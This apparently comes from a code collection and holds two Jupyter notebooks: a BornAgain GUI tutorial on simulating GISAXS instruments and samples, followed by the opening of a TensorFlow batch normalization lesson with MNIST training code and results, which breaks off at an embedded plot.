{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# BornAgain GUI Overview" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Welcome view" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "When you start BornAgain GUI, you will be presented with the Welcome View, where you can\n", "\n", " * Create new projects\n", " * Open recent projects\n", " * Visit BornAgain web page\n", " \n", "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Instrument view\n", "\n", "The Instrument View is used to create new scattering instruments and adjust their settings. To add a new instrument click `Add` button in the top left corner.\n", "\n", "\n", "\n", "This tutorial covers only the **GISAS** instrument. Other instrument types will be presented in later tutorials." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The instrument view consists of the instrument selector located on the left and the instrument settings window located on the right.\n", "\n", "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Beam Parameters\n", "\n", "* `Intensity`, photons (or neutrons)\n", "* X-ray/neutron `Wavelength`, nm\n", "* `Inclination angle`, degree\n", "* `Azimuthal angle`, degree\n", "\n", "Beam divergency can be set up via `Distribution` parameter. Click the **magnifying glass** to start the `Extended distribution viewer`.\n", "\n", "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Detector parameters\n", "\n", "This tutorial will cover only the **rectangular detector**, since it is the most popular detector type for GISAS instruments. More information about BornAgain detector types one can find on [BornAgain web page](https://www.bornagainproject.org/documentation/working-with-python/detector-types/).\n", "\n", "**Rectangular detector is defined by following parameters:**\n", "* `Nbins` - number of detector pixels (horizontal for `X axis` and vertical for `Y axis`)\n", "* `Width` - width of the detector, mm\n", "* `Height` - height of the detector, mm\n", "* `Alignment` - the way how the detector aligned with respect to the direct beam, sample, etc.\n", "* `Resolution function` - detector resolution. For the moment only 2D Gaussian is supported. Simulated result will be convolved with the given function to account for detector resolution.\n", "\n", "\n", "\n", "**Positions:**\n", "* `u0 (dbeam)` - direct beam X coordinate, mm\n", "* `v0 (dbeam)` - direct beam Y coordinate, mm\n", "* `Distance` - distance from sample to detector, mm" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Further instrument settings**\n", "\n", "\n", "\n", "Section **Polarisation analysis** accounts for simulation of polarized neutrons. Will be presented in later tutorial.\n", "\n", "Section **Environment** contains settings for background which should be considered during simulation. For the moment only `Constant background` of the given amplitude (set with `BackgroundValue` field) and `Poisson noise` are supported.\n", "\n", "In the case of **constant background**, the intensity is calculated as \n", "$$I = I_{sim} + A$$ \n", "where $A$ is the amplitude value given in the `BackgroundValue` field.\n", "\n", "In the case of **Poisson background**, the intensity $I_k$ at each detector point $k$ is obtained from the Poisson distribution with the probability\n", "$$P(I_k | \\mu) = \\frac{e^{-\\mu}\\cdot\\mu^{I_k}}{I_k!}$$\n", "where $\\mu = I_{sim,\\,k}$ is the simulated intensity at the detector point $k$ without background. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Exercise 1: Set up GALAXI instrument\n", "\n", "[GALAXI](http://dx.doi.org/10.17815/jlsrf-2-109) is the high brilliance laboratory small angle X-ray scattering instrument operated by JCNS, Forschungszentrum Jülich.\n", "\n", "**GALAXI beam parameters**\n", "* `Intensity` $I = 10^6$ photons\n", "* X-ray `Wavelength` $\\lambda = 1.34 \\overset{\\circ}{\\text A}$\n", "* `Inclination angle` $\\alpha_i = 0.2^{\\circ}$\n", "* `Azimuthal angle` $\\phi_i = 0.0^{\\circ}$\n", "* For this exercise: no beam divergency\n", "\n", "**GALAXI detector parameters**\n", "* Detector size $981\\times 1043$ pixels ($x\\times y$)\n", "* Pixel size $172\\mu m$\n", "* Direct beam center $(x, y) = (600, 350)$ pixels\n", "* Distance from sample to detector $3532$ mm\n", "* Detector is aligned perpendicular to the direct beam.\n", "* For this exercise: no resolution function, no background" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Optional: beam divergency\n", "\n", "Add angular beam divergency $\\Delta\\alpha_i=0.3$ mrad and $\\Delta\\phi_i=0.3$ mrad. Choose Gaussian distribution. Pay attention, that `StdDev`$=\\sigma$ and \n", "$$\\text{FWHM}=2\\sqrt{2\\log 2}\\sigma\\approx 2.355\\sigma$$ \n", "Play with the `Distribution` widget, vary the distribution parameters and observe changes.\n", "\n", "**Note:** the larger `Number of samples` you choose, the slower will be your simulation. Do you understand why?\n", "\n", "\n", "### Optional: detector resolution\n", "\n", "Add detector resolution function with FWHM equal to the detector pixel size for both, $X$ and $Y$ directions." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "*If got stucked, see [solution](GUI_solutions.ipynb)*" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Sample View\n", "\n", "The Sample View allows you to design the sample via a drag-and-drop interface. It consists of five main parts\n", "\n", " * The item toolbox (1) contains a variety of items for building a sample\n", " * The sample canvas (2) is used to assemble the sample\n", " * The sample tree view (3) represents the hierarchy of the objects composing the sample\n", " * The property editor (4) can be used to edit the parameters of the currently selected item\n", " * The script view (5) shows the automatically generated Python script\n", " \n", "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Material editor\n", "\n", "`Material editor` accounts for properties of the materials, such as refractive indices (alternatively SLD) or magnetization. To start the wigdet, click the `Material Editor` button on the top panel.\n", "\n", "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Exercise 2: Si Nano dots on Si substrate\n", "\n", "Create a sample made of rectangular Si nanoparticles on Si substrate. For this exercise we ingore the interference function.\n", "\n", "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "*If got stucked, see [solution](GUI_solutions.ipynb#Exercise-2:-Si-Nano-dots-on-Si-substrate)*" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Simulation view\n", "\n", "\n", "\n", "The Simulation View contains three important elements\n", "\n", "- The `Data selection` box for selecting the instrument and the sample to simulate.\n", "- The `Simulation Parameters` box for changing the main simulation parameters \n", "- The `Run Simulation` and `Export to Python Script` buttons\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Job view\n", "\n", "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Exercise 3: Run simulation\n", "\n", "1. Simulate the sample designed in the previous exercise. BornAgain should automatically switch to `Job view` after the simulation has finished. Change plot units to $q$. Change the $Q_z$ range to start from 0. Save the plot to `.png` file.\n", "\n", "2. Take a Fourier transform of the image. See the result.\n", "\n", "3. Make a horizontal slice at $Q_z=0.4$. Save it to `text file`.\n", "\n", "4. Make a vertical slice at $Q_y=0$. Save it to `text file`.\n", "\n", "5. Switch to `Real time activity`. Vary width of the particles. How it influences the simulated GISAXS pattern?. Vary height of the particles. How did the simulated pattern change?" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "*If got stucked, see [solution](GUI_solutions.ipynb#Exercise-3)*" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.1" } }, "nbformat": 4, "nbformat_minor": 2 }

gpl-3.0

tkurfurst/deep-learning

batch-norm/Batch_Normalization_Lesson.ipynb

1

577232

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Batch Normalization – Lesson\n", "\n", "1. [What is it?](#theory)\n", "2. [What are it's benefits?](#benefits)\n", "3. [How do we add it to a network?](#implementation_1)\n", "4. [Let's see it work!](#demos)\n", "5. [What are you hiding?](#implementation_2)\n", "\n", "# What is Batch Normalization?<a id='theory'></a>\n", "\n", "Batch normalization was introduced in Sergey Ioffe's and Christian Szegedy's 2015 paper [Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift](https://arxiv.org/pdf/1502.03167.pdf). The idea is that, instead of just normalizing the inputs to the network, we normalize the inputs to _layers within_ the network. It's called \"batch\" normalization because during training, we normalize each layer's inputs by using the mean and variance of the values in the current mini-batch.\n", "\n", "Why might this help? Well, we know that normalizing the inputs to a _network_ helps the network learn. But a network is a series of layers, where the output of one layer becomes the input to another. That means we can think of any layer in a neural network as the _first_ layer of a smaller network.\n", "\n", "For example, imagine a 3 layer network. Instead of just thinking of it as a single network with inputs, layers, and outputs, think of the output of layer 1 as the input to a two layer network. This two layer network would consist of layers 2 and 3 in our original network. \n", "\n", "Likewise, the output of layer 2 can be thought of as the input to a single layer network, consistng only of layer 3.\n", "\n", "When you think of it like that - as a series of neural networks feeding into each other - then it's easy to imagine how normalizing the inputs to each layer would help. It's just like normalizing the inputs to any other neural network, but you're doing it at every layer (sub-network).\n", "\n", "Beyond the intuitive reasons, there are good mathematical reasons why it helps the network learn better, too. It helps combat what the authors call _internal covariate shift_. This discussion is best handled [in the paper](https://arxiv.org/pdf/1502.03167.pdf) and in [Deep Learning](http://www.deeplearningbook.org) a book you can read online written by Ian Goodfellow, Yoshua Bengio, and Aaron Courville. Specifically, check out the batch normalization section of [Chapter 8: Optimization for Training Deep Models](http://www.deeplearningbook.org/contents/optimization.html)." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Benefits of Batch Normalization<a id=\"benefits\"></a>\n", "\n", "Batch normalization optimizes network training. It has been shown to have several benefits:\n", "1. **Networks train faster** – Each training _iteration_ will actually be slower because of the extra calculations during the forward pass and the additional hyperparameters to train during back propagation. However, it should converge much more quickly, so training should be faster overall. \n", "2. **Allows higher learning rates** – Gradient descent usually requires small learning rates for the network to converge. And as networks get deeper, their gradients get smaller during back propagation so they require even more iterations. Using batch normalization allows us to use much higher learning rates, which further increases the speed at which networks train. \n", "3. **Makes weights easier to initialize** – Weight initialization can be difficult, and it's even more difficult when creating deeper networks. Batch normalization seems to allow us to be much less careful about choosing our initial starting weights. \n", "4. **Makes more activation functions viable** – Some activation functions do not work well in some situations. Sigmoids lose their gradient pretty quickly, which means they can't be used in deep networks. And ReLUs often die out during training, where they stop learning completely, so we need to be careful about the range of values fed into them. Because batch normalization regulates the values going into each activation function, non-linearlities that don't seem to work well in deep networks actually become viable again. \n", "5. **Simplifies the creation of deeper networks** – Because of the first 4 items listed above, it is easier to build and faster to train deeper neural networks when using batch normalization. And it's been shown that deeper networks generally produce better results, so that's great.\n", "6. **Provides a bit of regularlization** – Batch normalization adds a little noise to your network. In some cases, such as in Inception modules, batch normalization has been shown to work as well as dropout. But in general, consider batch normalization as a bit of extra regularization, possibly allowing you to reduce some of the dropout you might add to a network. \n", "7. **May give better results overall** – Some tests seem to show batch normalization actually improves the train.ing results. However, it's really an optimization to help train faster, so you shouldn't think of it as a way to make your network better. But since it lets you train networks faster, that means you can iterate over more designs more quickly. It also lets you build deeper networks, which are usually better. So when you factor in everything, you're probably going to end up with better results if you build your networks with batch normalization." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Batch Normalization in TensorFlow<a id=\"implementation_1\"></a>\n", "\n", "This section of the notebook shows you one way to add batch normalization to a neural network built in TensorFlow. \n", "\n", "The following cell imports the packages we need in the notebook and loads the MNIST dataset to use in our experiments. However, the `tensorflow` package contains all the code you'll actually need for batch normalization." ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Successfully downloaded train-images-idx3-ubyte.gz 9912422 bytes.\n", "Extracting MNIST_data/train-images-idx3-ubyte.gz\n", "Successfully downloaded train-labels-idx1-ubyte.gz 28881 bytes.\n", "Extracting MNIST_data/train-labels-idx1-ubyte.gz\n", "Successfully downloaded t10k-images-idx3-ubyte.gz 1648877 bytes.\n", "Extracting MNIST_data/t10k-images-idx3-ubyte.gz\n", "Successfully downloaded t10k-labels-idx1-ubyte.gz 4542 bytes.\n", "Extracting MNIST_data/t10k-labels-idx1-ubyte.gz\n" ] } ], "source": [ "# Import necessary packages\n", "import tensorflow as tf\n", "import tqdm\n", "import numpy as np\n", "import matplotlib.pyplot as plt\n", "%matplotlib inline\n", "\n", "# Import MNIST data so we have something for our experiments\n", "from tensorflow.examples.tutorials.mnist import input_data\n", "mnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Neural network classes for testing\n", "\n", "The following class, `NeuralNet`, allows us to create identical neural networks with and without batch normalization. The code is heaviy documented, but there is also some additional discussion later. You do not need to read through it all before going through the rest of the notebook, but the comments within the code blocks may answer some of your questions.\n", "\n", "*About the code:*\n", ">This class is not meant to represent TensorFlow best practices – the design choices made here are to support the discussion related to batch normalization.\n", "\n", ">It's also important to note that we use the well-known MNIST data for these examples, but the networks we create are not meant to be good for performing handwritten character recognition. We chose this network architecture because it is similar to the one used in the original paper, which is complex enough to demonstrate some of the benefits of batch normalization while still being fast to train." ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "class NeuralNet:\n", " def __init__(self, initial_weights, activation_fn, use_batch_norm):\n", " \"\"\"\n", " Initializes this object, creating a TensorFlow graph using the given parameters.\n", " \n", " :param initial_weights: list of NumPy arrays or Tensors\n", " Initial values for the weights for every layer in the network. We pass these in\n", " so we can create multiple networks with the same starting weights to eliminate\n", " training differences caused by random initialization differences.\n", " The number of items in the list defines the number of layers in the network,\n", " and the shapes of the items in the list define the number of nodes in each layer.\n", " e.g. Passing in 3 matrices of shape (784, 256), (256, 100), and (100, 10) would \n", " create a network with 784 inputs going into a hidden layer with 256 nodes,\n", " followed by a hidden layer with 100 nodes, followed by an output layer with 10 nodes.\n", " :param activation_fn: Callable\n", " The function used for the output of each hidden layer. The network will use the same\n", " activation function on every hidden layer and no activate function on the output layer.\n", " e.g. Pass tf.nn.relu to use ReLU activations on your hidden layers.\n", " :param use_batch_norm: bool\n", " Pass True to create a network that uses batch normalization; False otherwise\n", " Note: this network will not use batch normalization on layers that do not have an\n", " activation function.\n", " \"\"\"\n", " # Keep track of whether or not this network uses batch normalization.\n", " self.use_batch_norm = use_batch_norm\n", " self.name = \"With Batch Norm\" if use_batch_norm else \"Without Batch Norm\"\n", "\n", " # Batch normalization needs to do different calculations during training and inference,\n", " # so we use this placeholder to tell the graph which behavior to use.\n", " self.is_training = tf.placeholder(tf.bool, name=\"is_training\")\n", "\n", " # This list is just for keeping track of data we want to plot later.\n", " # It doesn't actually have anything to do with neural nets or batch normalization.\n", " self.training_accuracies = []\n", "\n", " # Create the network graph, but it will not actually have any real values until after you\n", " # call train or test\n", " self.build_network(initial_weights, activation_fn)\n", " \n", " def build_network(self, initial_weights, activation_fn):\n", " \"\"\"\n", " Build the graph. The graph still needs to be trained via the `train` method.\n", " \n", " :param initial_weights: list of NumPy arrays or Tensors\n", " See __init__ for description. \n", " :param activation_fn: Callable\n", " See __init__ for description. \n", " \"\"\"\n", " self.input_layer = tf.placeholder(tf.float32, [None, initial_weights[0].shape[0]])\n", " layer_in = self.input_layer\n", " for weights in initial_weights[:-1]:\n", " layer_in = self.fully_connected(layer_in, weights, activation_fn) \n", " self.output_layer = self.fully_connected(layer_in, initial_weights[-1])\n", " \n", " def fully_connected(self, layer_in, initial_weights, activation_fn=None):\n", " \"\"\"\n", " Creates a standard, fully connected layer. Its number of inputs and outputs will be\n", " defined by the shape of `initial_weights`, and its starting weight values will be\n", " taken directly from that same parameter. If `self.use_batch_norm` is True, this\n", " layer will include batch normalization, otherwise it will not. \n", " \n", " :param layer_in: Tensor\n", " The Tensor that feeds into this layer. It's either the input to the network or the output\n", " of a previous layer.\n", " :param initial_weights: NumPy array or Tensor\n", " Initial values for this layer's weights. The shape defines the number of nodes in the layer.\n", " e.g. Passing in 3 matrix of shape (784, 256) would create a layer with 784 inputs and 256 \n", " outputs. \n", " :param activation_fn: Callable or None (default None)\n", " The non-linearity used for the output of the layer. If None, this layer will not include \n", " batch normalization, regardless of the value of `self.use_batch_norm`. \n", " e.g. Pass tf.nn.relu to use ReLU activations on your hidden layers.\n", " \"\"\"\n", " # Since this class supports both options, only use batch normalization when\n", " # requested. However, do not use it on the final layer, which we identify\n", " # by its lack of an activation function.\n", " if self.use_batch_norm and activation_fn:\n", " # Batch normalization uses weights as usual, but does NOT add a bias term. This is because \n", " # its calculations include gamma and beta variables that make the bias term unnecessary.\n", " # (See later in the notebook for more details.)\n", " weights = tf.Variable(initial_weights)\n", " linear_output = tf.matmul(layer_in, weights)\n", "\n", " # Apply batch normalization to the linear combination of the inputs and weights\n", " batch_normalized_output = tf.layers.batch_normalization(linear_output, training=self.is_training)\n", "\n", " # Now apply the activation function, *after* the normalization.\n", " return activation_fn(batch_normalized_output)\n", " else:\n", " # When not using batch normalization, create a standard layer that multiplies\n", " # the inputs and weights, adds a bias, and optionally passes the result \n", " # through an activation function. \n", " weights = tf.Variable(initial_weights)\n", " biases = tf.Variable(tf.zeros([initial_weights.shape[-1]]))\n", " linear_output = tf.add(tf.matmul(layer_in, weights), biases)\n", " return linear_output if not activation_fn else activation_fn(linear_output)\n", "\n", " def train(self, session, learning_rate, training_batches, batches_per_sample, save_model_as=None):\n", " \"\"\"\n", " Trains the model on the MNIST training dataset.\n", " \n", " :param session: Session\n", " Used to run training graph operations.\n", " :param learning_rate: float\n", " Learning rate used during gradient descent.\n", " :param training_batches: int\n", " Number of batches to train.\n", " :param batches_per_sample: int\n", " How many batches to train before sampling the validation accuracy.\n", " :param save_model_as: string or None (default None)\n", " Name to use if you want to save the trained model.\n", " \"\"\"\n", " # This placeholder will store the target labels for each mini batch\n", " labels = tf.placeholder(tf.float32, [None, 10])\n", "\n", " # Define loss and optimizer\n", " cross_entropy = tf.reduce_mean(\n", " tf.nn.softmax_cross_entropy_with_logits(labels=labels, logits=self.output_layer))\n", " \n", " # Define operations for testing\n", " correct_prediction = tf.equal(tf.argmax(self.output_layer, 1), tf.argmax(labels, 1))\n", " accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n", "\n", " if self.use_batch_norm:\n", " # If we don't include the update ops as dependencies on the train step, the \n", " # tf.layers.batch_normalization layers won't update their population statistics,\n", " # which will cause the model to fail at inference time\n", " with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):\n", " train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy)\n", " else:\n", " train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy)\n", " \n", " # Train for the appropriate number of batches. (tqdm is only for a nice timing display)\n", " for i in tqdm.tqdm(range(training_batches)):\n", " # We use batches of 60 just because the original paper did. You can use any size batch you like.\n", " batch_xs, batch_ys = mnist.train.next_batch(60)\n", " session.run(train_step, feed_dict={self.input_layer: batch_xs, \n", " labels: batch_ys, \n", " self.is_training: True})\n", " \n", " # Periodically test accuracy against the 5k validation images and store it for plotting later.\n", " if i % batches_per_sample == 0:\n", " test_accuracy = session.run(accuracy, feed_dict={self.input_layer: mnist.validation.images,\n", " labels: mnist.validation.labels,\n", " self.is_training: False})\n", " self.training_accuracies.append(test_accuracy)\n", "\n", " # After training, report accuracy against test data\n", " test_accuracy = session.run(accuracy, feed_dict={self.input_layer: mnist.validation.images,\n", " labels: mnist.validation.labels,\n", " self.is_training: False})\n", " print('{}: After training, final accuracy on validation set = {}'.format(self.name, test_accuracy))\n", "\n", " # If you want to use this model later for inference instead of having to retrain it,\n", " # just construct it with the same parameters and then pass this file to the 'test' function\n", " if save_model_as:\n", " tf.train.Saver().save(session, save_model_as)\n", "\n", " def test(self, session, test_training_accuracy=False, include_individual_predictions=False, restore_from=None):\n", " \"\"\"\n", " Trains a trained model on the MNIST testing dataset.\n", "\n", " :param session: Session\n", " Used to run the testing graph operations.\n", " :param test_training_accuracy: bool (default False)\n", " If True, perform inference with batch normalization using batch mean and variance;\n", " if False, perform inference with batch normalization using estimated population mean and variance.\n", " Note: in real life, *always* perform inference using the population mean and variance.\n", " This parameter exists just to support demonstrating what happens if you don't.\n", " :param include_individual_predictions: bool (default True)\n", " This function always performs an accuracy test against the entire test set. But if this parameter\n", " is True, it performs an extra test, doing 200 predictions one at a time, and displays the results\n", " and accuracy.\n", " :param restore_from: string or None (default None)\n", " Name of a saved model if you want to test with previously saved weights.\n", " \"\"\"\n", " # This placeholder will store the true labels for each mini batch\n", " labels = tf.placeholder(tf.float32, [None, 10])\n", "\n", " # Define operations for testing\n", " correct_prediction = tf.equal(tf.argmax(self.output_layer, 1), tf.argmax(labels, 1))\n", " accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n", "\n", " # If provided, restore from a previously saved model\n", " if restore_from:\n", " tf.train.Saver().restore(session, restore_from)\n", "\n", " # Test against all of the MNIST test data\n", " test_accuracy = session.run(accuracy, feed_dict={self.input_layer: mnist.test.images,\n", " labels: mnist.test.labels,\n", " self.is_training: test_training_accuracy})\n", " print('-'*75)\n", " print('{}: Accuracy on full test set = {}'.format(self.name, test_accuracy))\n", "\n", " # If requested, perform tests predicting individual values rather than batches\n", " if include_individual_predictions:\n", " predictions = []\n", " correct = 0\n", "\n", " # Do 200 predictions, 1 at a time\n", " for i in range(200):\n", " # This is a normal prediction using an individual test case. However, notice\n", " # we pass `test_training_accuracy` to `feed_dict` as the value for `self.is_training`.\n", " # Remember that will tell it whether it should use the batch mean & variance or\n", " # the population estimates that were calucated while training the model.\n", " pred, corr = session.run([tf.arg_max(self.output_layer,1), accuracy],\n", " feed_dict={self.input_layer: [mnist.test.images[i]],\n", " labels: [mnist.test.labels[i]],\n", " self.is_training: test_training_accuracy})\n", " correct += corr\n", "\n", " predictions.append(pred[0])\n", "\n", " print(\"200 Predictions:\", predictions)\n", " print(\"Accuracy on 200 samples:\", correct/200)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "There are quite a few comments in the code, so those should answer most of your questions. However, let's take a look at the most important lines.\n", "\n", "We add batch normalization to layers inside the `fully_connected` function. Here are some important points about that code:\n", "1. Layers with batch normalization do not include a bias term.\n", "2. We use TensorFlow's [`tf.layers.batch_normalization`](https://www.tensorflow.org/api_docs/python/tf/layers/batch_normalization) function to handle the math. (We show lower-level ways to do this [later in the notebook](#implementation_2).)\n", "3. We tell `tf.layers.batch_normalization` whether or not the network is training. This is an important step we'll talk about later.\n", "4. We add the normalization **before** calling the activation function.\n", "\n", "In addition to that code, the training step is wrapped in the following `with` statement:\n", "```python\n", "with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):\n", "```\n", "This line actually works in conjunction with the `training` parameter we pass to `tf.layers.batch_normalization`. Without it, TensorFlow's batch normalization layer will not operate correctly during inference.\n", "\n", "Finally, whenever we train the network or perform inference, we use the `feed_dict` to set `self.is_training` to `True` or `False`, respectively, like in the following line:\n", "```python\n", "session.run(train_step, feed_dict={self.input_layer: batch_xs, \n", " labels: batch_ys, \n", " self.is_training: True})\n", "```\n", "We'll go into more details later, but next we want to show some experiments that use this code and test networks with and without batch normalization." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Batch Normalization Demos<a id='demos'></a>\n", "This section of the notebook trains various networks with and without batch normalization to demonstrate some of the benefits mentioned earlier. \n", "\n", "We'd like to thank the author of this blog post [Implementing Batch Normalization in TensorFlow](http://r2rt.com/implementing-batch-normalization-in-tensorflow.html). That post provided the idea of - and some of the code for - plotting the differences in accuracy during training, along with the idea for comparing multiple networks using the same initial weights." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Code to support testing\n", "\n", "The following two functions support the demos we run in the notebook. \n", "\n", "The first function, `plot_training_accuracies`, simply plots the values found in the `training_accuracies` lists of the `NeuralNet` objects passed to it. If you look at the `train` function in `NeuralNet`, you'll see it that while it's training the network, it periodically measures validation accuracy and stores the results in that list. It does that just to support these plots.\n", "\n", "The second function, `train_and_test`, creates two neural nets - one with and one without batch normalization. It then trains them both and tests them, calling `plot_training_accuracies` to plot how their accuracies changed over the course of training. The really imporant thing about this function is that it initializes the starting weights for the networks _outside_ of the networks and then passes them in. This lets it train both networks from the exact same starting weights, which eliminates performance differences that might result from (un)lucky initial weights." ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true }, "outputs": [], "source": [ "def plot_training_accuracies(*args, **kwargs):\n", " \"\"\"\n", " Displays a plot of the accuracies calculated during training to demonstrate\n", " how many iterations it took for the model(s) to converge.\n", " \n", " :param args: One or more NeuralNet objects\n", " You can supply any number of NeuralNet objects as unnamed arguments \n", " and this will display their training accuracies. Be sure to call `train` \n", " the NeuralNets before calling this function.\n", " :param kwargs: \n", " You can supply any named parameters here, but `batches_per_sample` is the only\n", " one we look for. It should match the `batches_per_sample` value you passed\n", " to the `train` function.\n", " \"\"\"\n", " fig, ax = plt.subplots()\n", "\n", " batches_per_sample = kwargs['batches_per_sample']\n", " \n", " for nn in args:\n", " ax.plot(range(0,len(nn.training_accuracies)*batches_per_sample,batches_per_sample),\n", " nn.training_accuracies, label=nn.name)\n", " ax.set_xlabel('Training steps')\n", " ax.set_ylabel('Accuracy')\n", " ax.set_title('Validation Accuracy During Training')\n", " ax.legend(loc=4)\n", " ax.set_ylim([0,1])\n", " plt.yticks(np.arange(0, 1.1, 0.1))\n", " plt.grid(True)\n", " plt.show()\n", "\n", "def train_and_test(use_bad_weights, learning_rate, activation_fn, training_batches=50000, batches_per_sample=500):\n", " \"\"\"\n", " Creates two networks, one with and one without batch normalization, then trains them\n", " with identical starting weights, layers, batches, etc. Finally tests and plots their accuracies.\n", " \n", " :param use_bad_weights: bool\n", " If True, initialize the weights of both networks to wildly inappropriate weights;\n", " if False, use reasonable starting weights.\n", " :param learning_rate: float\n", " Learning rate used during gradient descent.\n", " :param activation_fn: Callable\n", " The function used for the output of each hidden layer. The network will use the same\n", " activation function on every hidden layer and no activate function on the output layer.\n", " e.g. Pass tf.nn.relu to use ReLU activations on your hidden layers.\n", " :param training_batches: (default 50000)\n", " Number of batches to train.\n", " :param batches_per_sample: (default 500)\n", " How many batches to train before sampling the validation accuracy.\n", " \"\"\"\n", " # Use identical starting weights for each network to eliminate differences in\n", " # weight initialization as a cause for differences seen in training performance\n", " #\n", " # Note: The networks will use these weights to define the number of and shapes of\n", " # its layers. The original batch normalization paper used 3 hidden layers\n", " # with 100 nodes in each, followed by a 10 node output layer. These values\n", " # build such a network, but feel free to experiment with different choices.\n", " # However, the input size should always be 784 and the final output should be 10.\n", " if use_bad_weights:\n", " # These weights should be horrible because they have such a large standard deviation\n", " weights = [np.random.normal(size=(784,100), scale=5.0).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=5.0).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=5.0).astype(np.float32),\n", " np.random.normal(size=(100,10), scale=5.0).astype(np.float32)\n", " ]\n", " else:\n", " # These weights should be good because they have such a small standard deviation\n", " weights = [np.random.normal(size=(784,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,10), scale=0.05).astype(np.float32)\n", " ]\n", "\n", " # Just to make sure the TensorFlow's default graph is empty before we start another\n", " # test, because we don't bother using different graphs or scoping and naming \n", " # elements carefully in this sample code.\n", " tf.reset_default_graph()\n", "\n", " # build two versions of same network, 1 without and 1 with batch normalization\n", " nn = NeuralNet(weights, activation_fn, False)\n", " bn = NeuralNet(weights, activation_fn, True)\n", " \n", " # train and test the two models\n", " with tf.Session() as sess:\n", " tf.global_variables_initializer().run()\n", "\n", " nn.train(sess, learning_rate, training_batches, batches_per_sample)\n", " bn.train(sess, learning_rate, training_batches, batches_per_sample)\n", " \n", " nn.test(sess)\n", " bn.test(sess)\n", " \n", " # Display a graph of how validation accuracies changed during training\n", " # so we can compare how the models trained and when they converged\n", " plot_training_accuracies(nn, bn, batches_per_sample=batches_per_sample)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Comparisons between identical networks, with and without batch normalization\n", "\n", "The next series of cells train networks with various settings to show the differences with and without batch normalization. They are meant to clearly demonstrate the effects of batch normalization. We include a deeper discussion of batch normalization later in the notebook." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 0.01, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:29<00:00, 558.52it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.973800003528595\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [04:49<00:00, 172.86it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9800000190734863\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.972000002861023\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9801999926567078\n" ] }, { "data": { "image/png": 